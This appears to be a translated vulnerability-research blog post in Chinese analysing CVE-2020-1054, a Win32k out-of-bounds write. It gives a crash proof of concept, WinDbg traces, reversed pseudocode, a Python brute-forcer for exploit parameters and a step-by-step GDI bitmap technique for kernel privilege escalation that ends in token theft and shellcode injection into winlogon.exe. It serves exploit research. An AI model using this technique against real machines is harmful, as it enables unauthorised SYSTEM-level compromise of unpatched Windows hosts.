该文章对今年5月微软发布的安全漏洞CVE-2020-1054进行分析分析。漏洞存在于Win32k内核模块中,利用该漏洞最终会造成权限提升。该漏洞由Check Point Research的Netanel Ben-Simon和Yoav Alon以及奇虎360 Vulcan Team的bee13oy报告。他们在今年的OffensiveCon20会议上发表了名为 Bugs on the Windshield: Fuzzing the Windows Kernel 的演讲。在演讲中详细介绍了他们找到这个bug的过程。
产生的崩溃
Netanel和Yoav提供了崩溃代码。 通过这段代码能够直接找到产生崩溃的关键位置,不再需要通过BinDiff进行补丁比对。
int main(int argc, char *argv[])
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR's original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
return 0;
}
代码中相关的函数 CreateCompatibleBitmap
和DrawIconEx
的参数、用法及返回值内容可以在微软官方文档上查到。
我的第一步是在Rust中重写代码并在Windows 7 x64机器上运行它,并在Windbg得到了崩溃时的Context。
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: fffff904c7000240, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff960000a5482, If non-zero, the instruction address which referenced
the bad memory address.
Arg4: 0000000000000005, (reserved)
Some register values may be zeroed or incorrect.
rax=fffff900c7000000 rbx=0000000000000000 rcx=fffff904c7000240
rdx=fffff90169dd8f80 rsi=0000000000000000 rdi=0000000000000000
rip=fffff960000a5482 rsp=fffff880028f3be0 rbp=0000000000000000
r8=00000000000008f0 r9=fffff96000000000 r10=fffff880028f3c40
r11=000000000000000b r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po cy
win32k!vStrWrite01+0x36a:
fffff960`000d5482 418b36 mov esi,dword ptr [r14] ds:00000000`00000000=????????
STACK_TEXT:
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x722
nt!KeBugCheckEx+0x104
nt!MmAccessFault+0x736
nt!KiPageFault+0x35c
win32k!vStrWrite01+0x36a
win32k!EngStretchBltNew+0x171f
win32k!EngStretchBlt+0x800
win32k!EngStretchBltROP+0x64b
win32k!BLTRECORD::bStretch+0x642
win32k!GreStretchBltInternal+0xa43
win32k!BltIcon+0x18f
win32k!DrawIconEx+0x3b7
win32k!NtUserDrawIconEx+0x14d
nt!KiSystemServiceCopyEnd+0x13
USER32!ZwUserDrawIconEx+0xa
USER32!DrawIconEx+0xd9
cve_2020_1054!CACHED_POW10 <PERF> (cve_2020_1054+0x106d)
崩溃时的 rip
指向的指令是 mov esi,dword ptr [r14]
这条指令在win32k当中 win32k!vStrWrite01+0x36a
在这个位置设置一个断点,能够得到下面的结果。
很明显,崩溃是由于无效的内存引用而发生的,这和windbg中显示的漏洞类型一样。 CheckPoint网站上对这个漏洞的描述是它是一个越界(OOB)写入漏洞。
假设崩溃时访问的地址 0xffff904'c7000240
是能够通过OOB控制其中内容的。这里需要注意的是,下面的文章中使用的地址均为0xffff904'c7000240
,这个值在每次程序执行的过程中都会更改。
控制越界访问
我们的第一个目标是了解如何控制地址 fffff904'c7000240
,该地址将称为oob_target。 为此,需要对vStrWrite01的相关代码进行逆向分析。 从 mov esi,dword ptr [r14]
指令开始
通过 lea r14, [rcx + rax*4]
设置 r14
寄存器
接着 rcx
寄存器在 vStrWrite01
函数的地一个基本块当中被初始化,然后在下面的循环中继续处理
rcx
寄存器在循环中会一直加上一个常数值,通过汇编指令 add ecx, eax
实现,对应伪代码如下:
var_64h = 0x7fffffff;
var_6ch = 0x80000000;
while ( r11d )
{
--r11d;
if ( ebp >= var_6ch && ebp < var_6ch )
{
// oob read/write in here
}
++ebp;
ecx += eax;
}
循环结束之后得到了 oob_target
的地址
oob_target = initial_value + loop_iterations * eax
接下来需要弄清楚的是循环的次数,查看汇编代码,发现 ebp
通过如下的指令被设置
mov rsi, rcx // rcx在这里依然是arg0
...
mov ebp, [rsi]
这说明 ebp
是 vStrWrite01
函数arg0
参数的第一个4字节。可以在调试器当中获取这个值。
win32k!vStrWrite01:
fffff960`00165118 4885d2 test rdx,rdx
kd> dd rcx L2
fffff900`c4c76eb0 fff2aaab 0006aaab
fff2aaab
这个数字有些特别,并且我们感觉到了这个数字和 DrawIconEx
函数的第五个参数有关。我们将 DrawIconEx
函数的参数修改成 febffffd
得到下面的结果
win32k!vStrWrite01:
fffff960`00165118 4885d2 test rdx,rdx
kd> dd rcx L2
fffff900`c2962eb0 fff2aaac 0006aaaa
结果变成了 fff2aaac
这个结果表明它确实和第五个参数有关。我们继续对这个参数进行实验,修改 arg5
并且观察最后得到的 oob_target
的结果
我们发现当 arg5
为 ff000000
的时候,会修改 oob_target
的结果,崩溃在了不同的地方
win32k!vStrWrite01+0x31d:
fffff960`00165435 3b6c246c cmp ebp,dword ptr [rsp+6Ch]
kd> dq rcx
fffff903`c7000240 ????????`???????? ????????`????????
如果修改 arg5
为 fd00000
崩溃的结果又有了些许不同
win32k!vStrWrite01+0x31d:
fffff960`00165435 3b6c246c cmp ebp,dword ptr [rsp+6Ch]
kd> dq rcx
fffff90a`c7000240 ????????`???????? ????????`????????
有趣的是,无论arg5的值如何, oob_target
的低32位仍为 c7000240
。 此外,arg5值的减少(按无符号处理)会导致 oob_target
的值增加。
oob_target
当中的 eax
通过 r15
当中的 offset
来设置。
r15
当中的偏移量通常在 vStrWrite01
函数的开始使用,这表明 r15
可能是一个指向某个结构体的地址。在第二个基本块当中,通过如下的指令设置r15
。
mov r15, r8 // r8 is still arg2 here
r15
当中的值就是 vStrWrite01
的第二个参数。通过调试器查看函数的第二个参数中的内容:
红色框标记了两个参数的值。 第一个红色框内是传递给 CreateCompatibleBitmap
的 arg1
(表示位图宽度 0x51500)和 arg2
(表示位图高度 0x100
)。 第二个红色框标记了一个值 c7000240
,该值在之前也见过。 这是 oob_target
的低32位。 最后,蓝色框中的数据表示了用来计算 oob_target
的 eax
的值。
在Win32k bitmap的内存布局中,上面的内容可能看起来很熟悉,并且确实是Windows内核利用中众所周知的两个相邻结构, BASEOBJECT
和 SURFOBJ
。 换句话说,第一个红色框是 SURFOBJ.sizlBitmap
,第二个红色框是 SUFOBJ.pvScan0
,蓝色框是 SURFOBJ.lDelta
。 有关这些结构的更多信息,请参见此处。
接下来需要知道如何通过 DrawIconEx
函数的 arg5
控制 oob_target
当中的值。此步骤的实现与上面过程类似,但有其他步骤。 因此,仅共享结果。 我GitHub上的 notes.txt
文件中包含了相关的细节。
通过逆向sys文件的代码我们发现, DrawIconEx
的第5个参数对循环次数的影响主要逻辑如下:
# arg5 of DrawIconEx()
arg5 = 0xffb00000
# arg1 of CreateCompatibleBitmap()
arg1 = 0x51500
loop_iterations = ((1 - arg5) & 0xffffffff) // 0x30
lDelta = arg1 // 8
oob = loop_iterations * lDelta
upper32_inc = oob & 0xffffffff00000000
print("loop_iterations = %x" % loop_iterations)
print("lDelta = %x" % lDelta)
print("upper 32 inc. = %x" % upper32_inc)
CreateCompatibleBitmap
函数的 arg1
和 DrawIconEx
的 arg5
直接控制 loop_iterations
和 lDelta
的值。 但是, oob_target
的低32位始终保持不变。 这意味着只有写地址的高32位是可控的。
下一步是确定写入的内容以及可以控制的程度。查看 vStrWrite01
的代码发现在执行过程中存在两次写操作:
// write 1
win32k!vStrWrite01+0x417
mov dword ptr [r14],esi
// write 2
win32k!vStrWrite01+0x461
mov dword ptr [r14],esi
其中 esi
寄存器的值由以下两个分支当中的一个所决定。
要么是通过亦或运算得到,要么是通过与运算得到。
通过下面的参数调用 DrawIconEx
函数
DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
通过上面的参数调用 DrawIconEx
函数,在代码的执行过程中将只进行按位与的运算。 因为 esi
是通过按位操作设置的,所以 DrawIconEx
的 diFlags
(arg8)参数应该是一个非常重要的参数。 当前调用将此参数设置为 0x6
。 查看该标志的文档,可以发现 0x6
等同于 DI_IMAGE
, DI_IMAGE
标志表示“使用图像绘制图标或光标”。 使用标志 DI_MASK
试试能不能够改变程序的执行流程,发现将 diFlags
(arg8)设置为0x1,即 DI_MASK
,可以将执行流程更改为OR分支。
漏洞利用
现在已经了解了OOB写入的功能,是时候考虑我们的漏洞利用方法了。目前所获得的原语与“任意地址写”还相距甚远。但是,在这种情况下,我们有可能利用空字节溢出达到最终的目的。
关于这个部分的漏洞利用方法,强烈建议读者重温一下 Abusing GDI Reloaded 以及 Abusing GDI for ring0 exploit primitives。下面我简单的介绍一下。
SURFOBJ 结构体当中包含了 pvScan01
和 sizlBitmap
这两个关键的结构体。 pvScan01
指向了实际的 Bitmap
数据。 这些数据可以通过GetBitmapBits
和 SetBitMapBits
函数来设置。sizlBitMap
是两个Dword,包含位图的高度和宽度。 通常Windows中会使用两个 SURFOBJ 结构体。通过任意地址读写覆盖掉第一个 SURFOBJ 的pvScan01
,把他的值写成第二个SURFOBJ结构体中的pvScan01
的地址,之后就能够实现可重用、可重定位的任意地址写漏洞利用原语了。任意地址写(write what where)的what和where分别由两个值决定。
what is a value either bitwise OR'd or AND'd
where is a value >= fffff901'c7000240
显然这不符合传统pvScan01漏洞利用的要求,但是幸运的是,还有一个利用 sizlBitmap
的选项。在Window7和Windows10的老版本中,SURFOBJ结构提和他的 pvScan01
成员变量在内存中是连续的。因此如果增加 sizlBitmap
的宽和高就可以使用 SizeBitMapBits
的调用来做到越界写,影响到SURFOBJ后面的 pvScan01
变量。
如果在第一个SURFOBJ后面还有一个SURFOBJ的话,这个SURFOBJ对象的 pvScan01
成员指针就能够被覆写掉。然后可以通过 SetBitMapBits
将第二个SURFOBJ对象用于任意地址写。
总结到目前为止获得的信息,漏洞利用的过程如下
- 申请一个基本的bitmap (fffff900’c700000)
- 申请足够多的SURFOBJs(通过CreateCompatibleBitmap)这样其中一个会被分配在(fffff900’c700000)
- 另一个SURFOBJ会被分配在第一个的后面
- 同时第三个SURFOBJ会被分配在第二个的后面
- 计算出 loop_iterations * lDelta 的值,让这个值等于
fffff901'c7000240
- 通过越界写修改掉第二个SURFOBJ对象的
sizlBitmap
- 将第二个SURFOBJ作为参数,通过
SetBitMapBits
函数覆盖掉第三个SURFOBJ对象的pvScan01
指针 - 接下来就能够做到任意地址写
- 修改进程的token并且往
winlogon.exe
当中注入shellcode做到EoP(权限提升)
一个简单的示意图如下:
除了步骤3之外,其他的步骤都能够很容易的完成。写入的值,我们不用考虑,因为根据他的代码,我们可以执行按位或的运算。这样可以通过按位或运算增加某个数的值。
精确的定位 sizlBitmap
的高度或者宽度才是一个挑战,这两个值是通过 lea r14 [rcx + rax * 4]
来设置的。但是现在我们还没有找到 rax
的值是怎么被设定的。如果能够控制 rax
的值,就能够实现精确的越界写。
经过测试不同的参数,我们发现 DrawIconEx
函数的第一个参数决定了 rax
寄存器的值, rax
之后会除0x20:
这就让我们能够设置从低32位开始的偏移量:
offset = (arg1 // 0x20 ) * 0x4 + 0x240
当测试 DrawIconEx
函数的 mov dword ptr[r14], esi
指令也提供了有用的信息。 DrawIconEx
函数的arg2控制了循环的次数,决定了写操作被迭代了多少次。举个例子,如果arg2被设置成了0x5,那么将执行5次写操作(如下图所示)。
写入地址之间的距离差值由 lDelta
决定。这里可以用伪代码表示如下:
intial_value = 0xfffff901`c7000240 + (arg1 // 0x20) * 0x4;
loop_count = 0;
while(arg2)
{
write_location_1 = intial_value + lDelta * loop_count;
write location_2 = write_location_1 + 4;
--arg2;
++loop_count;
}
需要根据目标的地址解出三个值,这样才能够精确控制循环,让他在某一次的循环过程中 write_location_1
和 write_location_2
能够恰好落在surfobj1的 csizBitmap
上。这三个值分别为 arg1
arg2
和 IDelta
(Bitmap的宽 // 8)
通过python能够爆破出这几个值来
print("bruting function arguments...")
# start with size at 0x50000
for size in range(0x50000, 0xffffff):
lDelta = size // 0x8
# lDelta is always byte alligned so ignore if not
if lDelta & 0x0f == 0:
for arg1 in range(0x0, 0xfff, 0x20):
offset = (arg1 // 0x20) * 0x4 + 0x240
for arg2 in range(0x0,0x10):
write_target = offset + arg2 * lDelta
if write_target == 0x70038:
print("found: size {:x}, offset (arg1) {:x}, lDelta {:x},
loop_count (arg2) {:x}".format(size, arg1, lDelta, arg2))
既然已经理解了所有值,剩下的就是编写漏洞利用代码。
漏洞利用代码
漏洞利用代码能够在Github上面找到
Windows 7 KB
当在Windows7上面测试的时候代码是非常的稳定的,当然,这还有继续改进的空间,使得内存地址的计算更加的通用。在测试的过程中,我发现某一个Windows KB稍微修改的SURFOBJ的结构体,他里面的 pvScan0
成员偏移不再是0x240,而是0x238。在漏洞利用代码中有两条注释,标记了要使用的值,具体的值取决于Windows 7是在KB之前还是在KB之后。
Thanks to Netanel Ben-Simon, Yoav Alon and bee130y for finding the bug: